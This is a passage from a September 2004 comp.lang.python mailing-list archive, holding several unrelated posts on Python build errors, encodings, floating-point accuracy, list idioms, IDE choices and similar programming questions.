am doing so by putting together all the C files together for OpenSSL/crypto and building crypto.pyd now crypto.c has void initcrypto Build works fine. But when i import it, i get an error saying dynamic load module does not define an init function (initcrypto) the same build using VC++ 6.0 works fine on the PC and i can even import it. any ideas? thanks cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From Scott.Daniels at Acm.Org Wed Sep 22 17:33:03 2004 From: Scott.Daniels at Acm.Org (Scott David Daniels) Date: Wed, 22 Sep 2004 14:33:03 -0700 Subject: distutils and mingw32 Message-ID: <4151f3f8$1@nntp0.pdx.net> I'm trying to get distutils in 2.4 happy running mingw32. I've chased a few things down, but now I'm getting: C:\Documents and Settings\daniels\Desktop\Py\block>\python24\python setup.py bui ld_ext -cmingw32 running build_ext building '_block' extension C:\MinGW\bin\gcc.exe -mno-cygwin -mdll -O -Wall -IC:\python24\include \ -IC:\python24\PC -c _blockmodule.c \ -o build\temp.win32-2.4\Release\_blockmodule.o writing build\temp.win32-2.4\Release\_block.def C:\MinGW\bin\gcc.exe -mno-cygwin -shared \ -s build\temp.win32-2.4\Release\_blockmodule.o \ build\temp.win32-2.4\Release\_block.def \ -LC:\python24\libs -LC:\python24\PCBuild -lpython24 -lmsvcr71 \ -o build\lib.win32-2.4\_block.pyd build\temp.win32-2.4\Release\_blockmodule.o(.text+0x41):_blockmodule.c: undefined reference to `_imp__PyExc_TypeError' build\temp.win32-2.4\Release\_blockmodule.o(.text+0x9d):_blockmodule.c: undefined reference to `_imp__PyExc_TypeError' ... (and so on for lots of these type constants). I presume I am doing something wrong here, but I'm not used to what underlying stuff is happening (why is everythin _imp__PyExc_TypeError?) Is this a missing file to link or what? a confused and bemused -Scott David Daniels Scott.Daniels at Acm.Org From fluxent at yahoo.com Thu Sep 9 21:44:16 2004 From: fluxent at yahoo.com (Bill Seitz) Date: 9 Sep 2004 18:44:16 -0700 Subject: newbie sending hex values over UDP socket Message-ID: I'm working with an outside "partner" to whom I want to send messages (I want my app to send messages to his server/receiver). He requests that I use UDP and an "industry standard" for formatting the data itself. That format is basically a bunch of hex bytes. So instead of sending 3 alphanum chars ri0 I have to send 3 bytes which he explains as being 72 69 30 Now, what the heck should I really be sending? I know he's giving just a simplified representation. Am I really looking to send '726930' or '\x72\x69\x30' or (something else)? If I'm aiming for the 2nd format, how do I best generate it? If I'm going the other direction, it seems like struct.unpack('sss','\x72\x69\x30') works OK But going the other direction doesn't work: struct.pack('sss','r','i','0') -> 'ri0' If I'm going for the first format, then I guess binascii.hexlify('ri0') is the answer, right? Sorry for the silly question... I'm trying not to look like a chump (to that partner) From manuelbastioniNOSPAM at tin.it Sat Sep 11 11:29:47 2004 From: manuelbastioniNOSPAM at tin.it (manuel) Date: Sat, 11 Sep 2004 15:29:47 GMT Subject: little problem with list.reverse() function Message-ID: >>> a = [[1,2],[2,3],[4,5]] >>> print a [[1, 2], [2, 3], [4, 5]] >>> print a.reverse() None >>> ??? Thanks... From gandalf at geochemsource.com Thu Sep 2 14:57:27 2004 From: gandalf at geochemsource.com (Gandalf) Date: Thu, 02 Sep 2004 20:57:27 +0200 Subject: Encoding problems Message-ID: <41376D17.9070707@geochemsource.com> Hi All! I have a program that looks like this: # -*- coding: iso-8859-2 -*- s1 = 'n?z' s2 = raw_input('Please type in "n?z":') print repr(s1) print repr(s2) I always type in the same ('n?z') on the input. On windows, this the result: C:\Temp\>test.py Please type in "n?z":n?z 'n\xe9z' 'n\x82z' C:\Temp> On FreeBSD, this is the result: %python ./test.py Please type in "n?z":n?z 'n\xe9z' 'n\xe9z' % Apparently, the encoding of the python file and the encoding used on the win32 console is different. I need to write a console mode program that processes input from the console. Both on UNIX and Windows. It is no use if I give the encoding of the file, the raw input will be still bad. Is there a way to give an encoding for raw_input somehow? Of course I could convert the input explicitely but it depends on the platform.... Somehow Python should know the encoding of the console. Comments are more than welcome. Laci 2.0 From no at no.com Tue Sep 28 05:57:41 2004 From: no at no.com (richard) Date: Tue, 28 Sep 2004 09:57:41 GMT Subject: no ideas? Message-ID: gcc 3.4.1 hello when i compile @ make with python 2.3.4 comes this error c++ -pthread -Xlinker -export-dynamic -o python \ Modules/python.o \ libpython2.3.a -lpthread -ldl -lutil -lm /usr/bin/ld: Dwarf Error: Invalid or unhandled FORM value: 14. libpython2.3.a(posixmodule.o): In function `posix_tmpnam': /usr/src/Python-2.3.4/./Modules/posixmodule.c:6063: the use of `tmpnam_r' is dangerous, better use `mkstemp' libpython2.3.a(posixmodule.o): In function `posix_tempnam': /usr/src/Python-2.3.4/./Modules/posixmodule.c:6018: the use of `tempnam' is dangerous, better use `mkstemp' collect2: ld returned 1 exit status make: *** [python] Error 1 thanks for help From indigo at bitglue.com Mon Sep 20 09:27:48 2004 From: indigo at bitglue.com (Phil Frost) Date: Mon, 20 Sep 2004 09:27:48 -0400 Subject: How to count lines in a text file ? In-Reply-To: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> Message-ID: <20040920132748.GA13012@unununium.org> Yes, you need a for loop, and a count variable. You can count in several ways. File objects are iterable, and they iterate over the lines in the file. readlines() returns a list of the lines, which will have the same effect, but because it builds the entire list in memory first, it uses more memory. Example: ######## filename = raw_input('file? ') file = open(filename) lines = 0 for line in file: # line is ignored here, but it contains each line of the file, # including the newline lines += 1 print '%r has %r lines' % (filename, lines) ######## another alternative is to use the standard posix program "wc" with the -l option, but this isn't Python. On Mon, Sep 20, 2004 at 03:18:53PM +0200, Ling Lee wrote: > Hi all. > > I'm trying to write a program that: > 1) Ask me what file I want to count number of lines in, and then counts the > lines and writes the answear out. > > 2) I made the first part like this: > > in_file = raw_input("What is the name of the file you want to open: ") > in_file = open("test.txt","r") > text = in_file.read() > > 3) I think that I have to use a for loop ( something like: for line in text: > count +=1) > Or maybee I have to do create a def: something like: ( def loop(line, > count)), but not sure how to do this properly. > And then perhaps use the readlines() function, but again not quite sure how > to do this. So do one of you have a good idea. > > Thanks for all help From andrea.valle at unito.it Sun Sep 26 04:06:37 2004 From: andrea.valle at unito.it (andrea valle) Date: Sun, 26 Sep 2004 10:06:37 +0200 Subject: wave.readframes() (or conversion?) In-Reply-To: References: Message-ID: On 26 Sep 2004, at 08:31, Tim Roberts wrote: > You get back a buffer of bytes. You can use the array() module to > convert > it to a list of integers. Thanks a lot, I'll try. > What version of Python are you using?? On my Win32 Python 2.3, > writeframes > accepts only strings, and only after you have set the frame rate, > sample > size, and number of channels. I'm using MacPython hardwired (damn') with Numerical package (Numeric 22.0) in MacOSX 10.3.5. It's Python2.3. I surely have to set wave params, but then I pass .writeframes an array converted to list (array.tolist()). Works for me (luckily). Here a minimum example: from Numeric import * from RandomArray import * class SoundFile: def __init__(self, signal): self.file = wave.open('/test.wav', 'w') self.signal = signal self.sr = 44100 def write(self): print "\nwriting to wavefile" self.file.setparams((1, 2, self.sr, 6, 'NONE', 'noncompressed')) self.file.writeframes(self.signal.tolist()) print "done\n" signal = uniform(-1, 1, 44100) f = SoundFile(signal) f.write() Best -a- Andrea Valle Laboratorio multimediale "G. Quazza" Facolt? di Scienze della Formazione Universit? degli Studi di Torino andrea.valle at unito.it -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 1568 bytes Desc: not available URL: From gg20040914.20.sebsauvage at spamgourmet.com Tue Sep 14 16:54:02 2004 From: gg20040914.20.sebsauvage at spamgourmet.com (sebsauvage) Date: 14 Sep 2004 13:54:02 -0700 Subject: webGobbler Message-ID: <286edf51.0409141254.68783e60@posting.google.com> Hello, dear dear clp. The idea was bugging me, so I decided to code it: webGobbler is a small program which gobbles random pictures from the web and mixes them (This is inspired from 'debris' and 'webcollage'.). Think of it as some kind of "art", an attempt to capture the chaos of the human activity, which the internet is a partial and subjective snapshot of. webGobbler is a simple command-line program which spiders the web, collect images and assembles them in various ways. The images can be used - for example - as a desktop background changer. The image continuously evolves as new pictures are superposed. You'll never get the same picture twice. A screensaver is also planned (when I have time - *sigh*). The program is written in Python and requires the PIL library. This is perfectly useless, but I had fun creating this. You will find documentation, samples and source code here: http://sebsauvage.net/python/webgobbler/ Feel free to give it a try. This program is distributed under the zlib/libpng opensource license. Critics, comments and ideas are welcome ! Best regards. -- Sebastien SAUVAGE sebsauvage at sebsauvage dot net http://sebsauvage.net From danb_83 at yahoo.com Sun Sep 19 18:24:31 2004 From: danb_83 at yahoo.com (Dan Bishop) Date: 19 Sep 2004 15:24:31 -0700 Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> Message-ID: Gary Herron wrote in message news:... > On Sunday 19 September 2004 01:00 am, Chris S. wrote: > > Gary Herron wrote: > > > That's called rational arithmetic, and I'm sure you can find a package > > > that implements it for you. However what would you propose for > > > irrational numbers like sqrt(2) and transcendental numbers like PI? > > > > Sqrt is a fair criticism, but Pi equals 22/7, > > What? WHAT? Are you nuts? Pi and 22/7 are most certainly not equal. > They don't even share three digits beyond the decimal point. There are, of course, reasonably accurate rational approximations of pi. For example, 355/113 (accurate to 6 decimal places), 312689/99532 (9 decimal places), or 3126535/995207 (11 decimal places). Also, the IEEE 754 double-precision representation of pi is equal to the rational number 4503599627370496/281474976710656. > ...Pi is a non-repeating and non-ending number in base 10 or any other base.) It has a terminating representation in base pi ;-) But you're right that it has a non-repeating and non-ending representation in any _useful_ base. > If you are happy doing calculations with decimal numbers like 12.10 + > 8.30, then the Decimal package may be what you want, but that fails as > soon as you want 1/3. But then you could use a rational arithmetic > package and get 1/3, but that would fail as soon as you needed sqrt(2) > or Pi. True, but who says we need to use the same representation for all numbers. Python _could_ use rationals in situations where they'd work (like int/int division), and only revert to floating-point when necessary (like math.sqrt and math.pi). > And BTW, your calculator is not, in general, more accurate than the > modern IEEE binary hardware representation of numbers used on most of > today's computers. In general, it's _less_ accurate. In IEEE 754 double-precision, machine epsilon is 2**-53 (about 1e-16), but TI's calculators have a machine epsilon of 1e-14. Thus, in general, IEEE 754 gives you about 2 more digits of precision than a calculator. > It is more accurate on only a select subset of all numbers, Right. In most cases, base 10 has no inherent advantage. The number 1.41 is a _less_ accurate representation of sqrt(2) than 0x1.6A. The number 3.14 is a less accurate representation of pi than 0x3.24. And it's not inherently more accurate to say that my height is 1.80 meters rather than 0x1.CD meters or 5'11". Base 10 _is_ more accurate for monetary amounts, and for this reason I agreed with the addition of a decimal class. But it would be a mistake to use decimal arithmetic, which has a performance disadvantage with no accuracy advantage, in the general case. From cpl.19.ghum at spamgourmet.com Sun Sep 5 13:44:08 2004 From: cpl.19.ghum at spamgourmet.com (Harald Massa) Date: Sun, 5 Sep 2004 17:44:08 +0000 (UTC) Subject: Lager'd Statistics on language migration References: <2ae25c6b.0409050132.4ce24330@posting.google.com> Message-ID: Paddy, what google do you google? I just checked out one number: "perl to python migration" 785 giving me Ergebnisse 11 - 20 von ungef?hr 87.100 f?r perl to python migration. (0,20 Sekunden) (on english: google found around 87.100 entries for "perl to python migration") the dark side is that most deal with one book of this title Harald From mwh at python.net Tue Sep 7 11:13:00 2004 From: mwh at python.net (Michael Hudson) Date: Tue, 7 Sep 2004 15:13:00 GMT Subject: PHP Documentation References: Message-ID: Martin Maney writes: > My first thought was "of course!" Then I thought, "maybe I should take > a look." That stopped me: every document I've checked says to find the > licence and permissions at the end (in "About this document..." - BTW, > what's with the ellipses?). Not one of the identical "About" sections > I've looked at has had any hint of a license in it. The Python documentation is under the same license as the rest of Python, AFAICT: ... B. TERMS AND CONDITIONS FOR ACCESSING OR OTHERWISE USING PYTHON =============================================================== PSF LICENSE AGREEMENT FOR PYTHON 2.4 ------------------------------------ 1. This LICENSE AGREEMENT is between the Python Software Foundation ("PSF"), and the Individual or Organization ("Licensee") accessing and otherwise using Python 2.4 software in source or binary form and its associated documentation. ... Cheers, mwh -- Back in the old days, software would grow until it could send and receive e-mail, but now that even the virusses are doing that, the fashion has changed, and now software evolves until it has venomous fangs, the better to do serious damage when it sucks. -- AdB, asr From chrisks at NOSPAM.udel.edu Sat Sep 18 01:26:28 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sat, 18 Sep 2004 05:26:28 GMT Subject: PyYaml? In-Reply-To: References: <2IO2d.1086$HH5.1025@trndny05> Message-ID: <8GP2d.72$Pz3.9@trndny01> Andrew Dalke wrote: > Looking at the PyYaml docs, under "limitations" > > > ] PyYaml converts Python builtin types bidirectionally, and converts > ] instances unidirectionally (although with directives eg from_yaml > ] and to_yaml it can do this bidirectionally). When YAMLizing an > ] instance, PyYaml serializes only its instance data (its '.dict'), > ] with no meta-information about which class it came from. > > Add support for restoring an arbitrary class and you end > up with exactly the same security problems pickle has. I believe those docs are slightly out dated. PyYaml does have limited support for class restoration (at least in my experience). Granted the class definition must be loaded into the current frame, a similar limitation of Pickle. However, Pickle's small programming language allows for arbitrary file deletion. That would not be possible with Yaml. > Also, I'll guess that it doesn't handle Python's new __slots__ > since it only mentions __dict__. True. In fact, the current implementation doesn't yet fully handle subclassing/inheritance. They've done a lot, but it's still a work in progress. From adalke at mindspring.com Sat Sep 25 20:09:02 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sun, 26 Sep 2004 00:09:02 GMT Subject: getrecursiondepth In-Reply-To: References: <27eal09cb6ggho5gbstgkbmvgillnova08@4ax.com> Message-ID: Manlio Perillo wrote: >>>>foo() > > n = 0 and recursion depth = 1 > n = 1 and recursion depth = 2 > n = 2 and recursion depth = 3 > n = 3 and recursion depth = 4 Why is it needed? Unlike getrecursionlimit it is something that can be calculated pretty easily. >>> def getdepth(): ... f = sys._getframe() ... i = -1 ... while 1: ... try: ... f = f.f_back ... except AttributeError: ... return i ... i = i + 1 ... >>> def test(n): ... if n==0: return getdepth() ... return test(n-1) ... >>> test(10) 12 >>> test(30) 32 >>> test(sys.getrecursionlimit()-3) 999 >>> Anything which depends on the exact number is going to have problems because that depends on the environment. For example, in idle getdepth() from its shell returns 4 instead of the 2 found in the command-line shell. Andrew dalke at dalkescientific.com From ialbert at mailblocks.com Fri Sep 17 08:52:04 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Fri, 17 Sep 2004 08:52:04 -0400 Subject: How to go about developing in zope In-Reply-To: <4c900ea0.0409162052.79420c58@posting.google.com> References: <4c900ea0.0409160754.2158e732@posting.google.com> <6P-dnYmYhq_Tf9TcRVn-gg@giganews.com> <4c900ea0.0409162052.79420c58@posting.google.com> Message-ID: <7oudndjX7pxpQNfcRVn-iw@giganews.com> john wrote: > I dont know how zope will simplify my work in developing such an application?? There is no easy answer to this. In fact it could happen that Zope will complicate your work. The best way to evaluate a framework is to try to implement a simple site. Do the tutorials, fool around just for the sake of it. Don't try to accomplish your goals right away because your first job will suck in any new framework. Istvan. From http Fri Sep 24 01:36:55 2004 From: http (Paul Rubin) Date: 23 Sep 2004 22:36:55 -0700 Subject: Why not FP for Money? References: Message-ID: <7xwtykdy88.fsf@ruckus.brouhaha.com> bokr at oz.net (Bengt Richter) writes: > I'd prefer not to use up '$' for something that specialized. > ISTM we already have a precedent with longs: i.e., an L suffix. So why not > a D suffix for decimal literals? E.g., > > a = 35.72D # 35.7200D e.g. would specify greater guaranteed precision > b = 1.73D > a+b > 37.45D Lots of currency symbols are suffixed (3.52 DM) instead of prefixed. How about $ as a suffix? a = 35.72$ etc. From vze4rx4y at verizon.net Fri Sep 17 00:06:24 2004 From: vze4rx4y at verizon.net (Raymond Hettinger) Date: Fri, 17 Sep 2004 04:06:24 GMT Subject: Rotating lists? References: <7xk6uvnkj7.fsf@ruckus.brouhaha.com> Message-ID: <4pt2d.3043$Tg7.1747@trndny05> [Ivan Voras]> > a = a[1:] + a[0] > > > > which doesn't work because there's no __add__ between a list and > > integer, and: [Paul Rubin] > You meant to say > > a = a[1:] + [a[0]] A better answer is a[1:] + a[:1] which nicely handles lists of length 0 and length 1 as well as the OP's original example. The advantage of using slices to extract a single element is that it avoids IndexErrors for empty lists. This technique comes up often enough that I thought it worth pointing out here. Also worth mentioning is that slicing and concatenation are supported by several sequence types. So, this operation can be abstracted to apply to more than just lists. It might also be opportune to point out the virtues of writing a few doctests that would have surfaced the issues immediately. Of course, Paul already knows this. This note is for the people who don't. Raymond Hettinger def rotate(seq): """ Rotate the first element to the end of a sequence. Returns a new sequence of the same type. The type must support slicing and concatenation. >>> rotate(range(5)) [1, 2, 3, 4, 0] >>> rotate(range(1)) [0] >>> rotate(range(0)) [] >>> rotate('abc') 'bca' >>> rotate('') '' >>> rotate(tuple('abc')) ('b', 'c', 'a') >>> rotate(tuple('')) () """ return seq[1:] + seq[:1] import doctest doctest.testmod() From pfortin at pfortin.com Thu Sep 9 18:37:05 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Thu, 9 Sep 2004 18:37:05 -0400 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> Message-ID: <20040909183705.69696290@gypsy.pfortin.com> On Fri, 10 Sep 2004 00:20:24 +0200 Alex wrote: > Diez B. Roggisch wrote: > ... > > map2 = dict(map.items() + [(str(i), v) for i, v in enumerate(vals)]) > > An equivalent ctor call that's slightly better, IMHO: > > map2 = dict([ (str(i),v) for i,v in enumerate(vals) ], **map) > > Don't ignore the power of dict's keyword arguments... > > > Not perfect, but IMHO better than your eval-based solution. > > I agree, mine is just a tiny improvement on your post, IMHO. > > > Alex Thanks for that; but it's not what I wanted... (see original post) I was hoping to use the likes of: "%(key)*.*f" % map however, unlike with the non-(key) formats, there appears to be no way to specify a "*.*" size when a map is used... Pierre From gherron at islandtraining.com Wed Sep 8 21:21:03 2004 From: gherron at islandtraining.com (Gary Herron) Date: Wed, 8 Sep 2004 18:21:03 -0700 Subject: Why is this legal? In-Reply-To: <2uK%c.21$pW.773@news.itd.umich.edu> References: <2uK%c.21$pW.773@news.itd.umich.edu> Message-ID: <200409081821.03371.gherron@islandtraining.com> On Wednesday 08 September 2004 02:05 pm, Michael George Lerner wrote: > I tracked down a bug today that boiled down the "undecorate" part of > this "decorate-sort-undecorate": > > cluster = [(c.resi,c) for c in cluster] # decorate > cluster.sort() # sort > cluster = [c for (c.resi,c) in cluster] # undecorate > > That last line actually assigns c.resi for each c in cluster. So if you don't want to assign to c.resi don't use it as a loop variable: cluster = [c for (ignored,c) in cluster] # undecorate or cluster = [item[1] for item in cluster] # undecorate > Is there any reason you'd ever want to do this? There is a big reason to want it to stay this way. The rule that "each pass through the loop rebinds the loop variable (or tuple of loop variables)" is simple, and clear. For that reason alone, we don't want to ever change it. Gary Herron From jmfbahciv at aol.com Thu Sep 9 09:12:17 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Thu, 09 Sep 04 13:12:17 GMT Subject: Xah Lee's Unixism References: <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> Message-ID: <414069c6$0$6912$61fed72c@news.rcn.com> In article <10juvnrt88k4868 at corp.supernews.com>, Jeff Shannon wrote: >Chuck Dillon wrote: > >>> abridgement of >>> civil liberties (as in the Patriot Act and the Gitmo gulag), >> >> >> [...] How many U.S. citizens have been victimized? > > >That's the problem -- we have *no* way of finding out, because part of >the Patriot Act is a gag rule that prevents the public from knowing how >it's used. It *may* be a small number, and we'd all like to think that >it is, but we really don't know. > >> How many dead U.S. citizens does it take to justify that >> victimization? Both numbers are quire small. > > >Here there's a lot of room to disagree -- it's a tragedy when U.S. >citizens are killed, but it's an even greater tragedy when the entirety >of the U.S. loses its freedoms in the name of "security". Okay, that's it! Tell me what freedoms you have lost. Be specific. No sound bytes and no rhetoric parroting allowed. I really want to know. People keep saying this but never say which freedoms have been lost. /BAH Subtract a hundred and four for e-mail. From carribeiro at gmail.com Tue Sep 14 21:46:37 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 14 Sep 2004 22:46:37 -0300 Subject: i am going to get crazy!!! In-Reply-To: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> Message-ID: <864d370904091418464ed4f1d@mail.gmail.com> On 14 Sep 2004 17:15:39 -0700, andresm wrote: > I cant believe there is no single decent open source for python, all > them miss some of the most core features an ide should have, i just > cant believe this!!! I have been looking for a decent ide for one > weak, i have tried all of them, all. the only kick ass one is ipython, > but thats a shell that shows how an ide should be. If you look at it, I've been discussing IDEs in this forum over the past few days. I have probably heard every possible tip regarding all alternatives available, many on list, and several others off list. I'll tell you what I have found so far. -- There are two classes of developers: those who like IDEs and those who doesn't. The latter camp includes people that swear by Emacs, VIM, and stuff like that. I don't mean to sound badly, but such people don't get what's the fuss about a good IDE. They come from another background, and normally write another type of software, one that doesn't need such "fancy" gadgetry to work. Don't try to argue with them -- there's no right and wrong here, just different styles at work. -- If you listen to the IDE camp only, then you can still separate a few groups. 1) If all that you need is a good editor with syntax coloring and a few Python niceties, then you have several options -- free and commercial. All Scintilla-based editors offer at least some basic functionality. Light IDEs like PythonWin and DrPython offer automatic code completion, block indent/outdent, and quick access to the documentation. Good text editors such as EditPlus are also useful, albeit less featured in their support for Python. 2) Some people understand IDEs as full fledged, highly flexible programming environments. In this camp you can evaluate ActiveState's Komodo and Boa Constructor. Komodo is a high quality commercial product; Boa is free, well structured, still incomplete at parts, but it works fairly well. I would like to point you to Wing IDE, but I could not run the beta version that I've installed. Your mileage may vary. 3) There are a few non-integrated design tools that provide parts of what you expect from a good IDE. wxGlade is one such example -- it's a GUI builder for wxPython that can be used together with other tools, such as SPE - Stan's Python Editor, or any other light IDE I've mentioned on item (1). 4) PythonCard is slightly different in that it's based on Hypercard. It's a IDE in some senses, but it's simpler than Boa, and uses a slightly different paradigm. For now, it's late, and I really have to sleep now :-) I hope to have helped. Feel free to drop me a line if you're still in need of help. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From aleaxit at yahoo.com Tue Sep 7 03:14:07 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 09:14:07 +0200 Subject: docs on for-loop with no __iter__? References: <9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net> <1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com> <1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com> Message-ID: <1gjqisz.ujlgcqe74dvtN%aleaxit@yahoo.com> Steven Bethard wrote: > Alex Martelli yahoo.com> writes: > > MRO didn't change for classic classes, thus unmaintaned apps can't be > > affected by that. > > I may be mistaken, but I thought MRO did change for new classes... I read in > http://www.python.org/2.3/mro.html: > > "In his post, Samuele showed that the Python 2.2 method resolution order is > not monotonic and he proposed to replace it with the C3 method resolution > order. Guido agreed with his arguments and therefore now Python 2.3 uses C3." > > And the docs seemed to indicate that new-style classes were available in > Python 2.2. Did the new-style classes and the C3 MRO actually both come in > 2.2? > > Anyway, if you read the docs the way I did above, you could imagine that any > new-style class that was written in Python 2.2 could potentially have been > broken by the new MRO in Python 2.3. So the change in MRO would have been a > change that could break old code. Ah, sorry, you're right -- I'm not used to think of 2.2 applications as "old code" yet, but of course there might theoretically be unmaintained apps around written for 2.2. Bug fixes can indeed "break old code" which somehow managed to rely on the bug (the "is not monotonic" part in your quote above being a bug with 2.2's MRO) -- Python is not quite as fossilized yet as to guarantee bug-to-bug compatibility between versions. I just don't see fixing bugs as comparable in any way with other maintenance activity, based on dropping or modifying existing features that were never bugs, just because there are now better ways to perform certain tasks that the existing features existed for. > > > If you read my posts from the beginning, I was clearly never asking > > > for the workaround -- I was asking for why the protocol was the way it > > > was and why it hadn't been updated after __iter__ was introduced. > > > Despite a few snide remarks ;) you did answer my question though, > > > thanks! > > > > You're welcome, and I do think that the second part of the question was > > pretty weird -- with all the trouble we go to, to keep backwards > > compatibility with most old unmaintained apps, just imagining we'd go > > around breaking them to no good purpose seems weird to me. > > Clearly we're talking past each other. When I asked the question, I didn't > know what code would be broken. That's why I asked the question. (Go back > and read some of the thread where I ask questions like "Would it break old > code if the __getitem__ iterator checked for a __len__ method...?" if you > don't believe me.) You asked that question in the post I was answering, yes. Then, when I responded, you claimed that "Python always breaks old code", which seemed and still seems like a weird claim to me. > If no code would have been broken, I don't see why it would be unreasonable to > use a more intuitive protocol. It may seem more intuitive to programmers trained in languages where exceptions are to be used as little as feasible, but to a dyed-in-the-wool Pythonista it doesn't. Your proposed protocol would be more complicated than the historical one, since it would have to cover both classes that expose __len__ and ones that don't, in different ways, while the historical one is simpler because it does not need to draw that distinction, and "simpler is better than complicated" is a very important design principle in Python. > I understand the history here is probably old > hat to you, but it's not to me, and that's why I was asking. Suggesting that > I want to "go around breaking [apps] to no good purpose" is just being > inflammatory. My text you're quoting doesn't say you want to break old code: rather, it's based on your saying that _Python_ (thus, presumably, the python developers/committers, which is who I mean by "we" in my text you quote above) "always breaks old code", and I believe THAT text of yours, at least when read at face value, is the part which is "just being inflammatory". If you have used other programming platforms in the past, I think it's reasonable to expect you to perceive that Python, far from _always_ "breaking old code", goes to pretty great lengths to avoid doing so, albeit only within the realm of the "reasonable" (an application which relied on a bug happening to cause a certain specific behavior was, in a sense, broken at birth...). At this point, I suspect you didn't mean that "always" in the way I read it, but I don't think my reading of it was unreasonable. Starting from the default assumption that miscommunications are most often due to both speaker and listener, I'm quite willing to take my half share of responsibility for this one if you're willing to take yours, and we can call it quits. > > I can't really see why these historical quibbles would be of much interest, > > anyway. > > Well, it's an interesting design decision that resulted from an interesting > set of facilities that were in the language at the time. Of course, if you > were already using Python at the time these decisions were made, you already > knew all about it. I'm a relative newcomer to Python though, and its history > and evolution is still interesting to me. > > If there's a better forum to ask questions about Python's history, I'd be glad > if you'd redirect me to it. No, I think this is the right forum, and I apologize if I seemed to indicate otherwise. History is of interest to few people, but, being one of those few, I should be encouraging such interests, surely not discouraging them. Alex From phark52 at yahoo.com Thu Sep 23 21:53:51 2004 From: phark52 at yahoo.com (George K) Date: Fri, 24 Sep 2004 01:53:51 GMT Subject: Parsing HTML document, how? Message-ID: This what my program should do, you give it the URL to a page and a template file, it downloads that page and then using the template file it returns some information. The way I thought of doing it was that the template file uses regex and then in my program I just do re.search(template, htmlpage) and this would work but the HTML document has characters like ? and * that I need to escape in the template, so this solution doesn't work. What is a better way to accomplish what I want? does Python have any standard library for this? The parsing has to be dynamic, from the template file, the URLs are not fixed. From aleaxit at yahoo.com Wed Sep 1 07:26:23 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 1 Sep 2004 13:26:23 +0200 Subject: convert string to input stream References: Message-ID: <1gjfqwl.11mwojkembnyzN%aleaxit@yahoo.com> Titus Barik wrote: ... > handle = open(SOME_FILE) > my_function(handle) > > But occasionally, I end up with a string ("Hello world") that I need to > convert to a stream in order to pass it into this function. Perhaps > something like: > > fake_handle = convert_to_handle("Hello world!") > > so that it appears to this function to be a file handle. I've seen def convert_to_handle(somestring): import cStringIO return cStringIO.StringIO(somestring) Alex From tim.peters at gmail.com Mon Sep 20 01:19:14 2004 From: tim.peters at gmail.com (Tim Peters) Date: Mon, 20 Sep 2004 01:19:14 -0400 Subject: Documentation? file/open with tea In-Reply-To: References: <2r66m7F161ncnU1@uni-berlin.de> Message-ID: <1f7befae04091922193a9d3da3@mail.gmail.com> [Daniel Dittmar] >> And I think using 't' is a mainly a Windows thing and not portable. [Roger Binns] > It is actually a C standard thing and is *very* portable. There are three phenomena getting confused here. 1. The difference between text and binary mode is standard C, although it doesn't actually exist on all platforms. Which is fine by the C standard. A platform is allowed, but not required, to treat text mode and binary mode differently. 2. The "t" mode flag to open() is not standard C, it's a Microsoft extension to C. 3. Nevertheless, nearly all platform C implementations ignore mode flags to open() that they don't recognize. So it's quite likely that that a non-Windows box will *accept* a mode argument to open() containing "t", but will ignore the "t" part. For example, here on a FreeBSD box: >>> open("a", "wkqrbt") >>> God only knows what the C library did there, but it *probably* ignored everything at and after the first mode letter it didn't recognize ("k"). Don't use "t" if you want to be clear. Text mode is the default, and standard C doesn't offer any way to explicitly request that default. Microsoft supports "t" because it's *possible* to force MS's C runtime into using binary mode by default; I've never seen that done in real life, but, if someone does it, then it's necessary (although not standard C) to use "t" if you want to open a file in text mode. From terti at mighty.co.za Wed Sep 15 16:19:52 2004 From: terti at mighty.co.za (tertius) Date: Wed, 15 Sep 2004 22:19:52 +0200 Subject: compiling/linking issues. Message-ID: Hi All, I embedded some Python/C API functions in my C dll. I use the Borland freecommandline tools. I converted the python23.lib with coff2omf but still get unresolved externals. If I use coff2omf like this ... (default) coff2omf python23.lib python23omf.lib I get the following Errors Error: Unresolved external 'Py_Initialize' Error: Unresolved external 'PyString_FromString' Error: Unresolved external 'PyImport_Import' Error: Unresolved external 'PyModule_GetDict' Error: Unresolved external 'PyDict_GetItemString' Error: Unresolved external 'PyCallable_Check' Error: Unresolved external 'PyString_AsString' Error: Unresolved external 'Py_Finalize' When I use coff2omf like this ... (Don't perform MS cdecl aliasing) coff2omf -lib:ca python23.lib python23omf.lib I only get one unresolved external '_PyObject_CallFunction' The Dll only has one EXPORT function and is compiled with "bcc32 -c -ps -tWD" options (-ps = generate standerd call) Can someone please advise me on my linking/compiling options please? Thanks in advance. Tertius ps. When I embed the same code in a main.exe using default coff2omf it all works just fine. From carribeiro at gmail.com Tue Sep 14 18:39:49 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 14 Sep 2004 19:39:49 -0300 Subject: Strange "feature" involving double slashes in Win98 In-Reply-To: 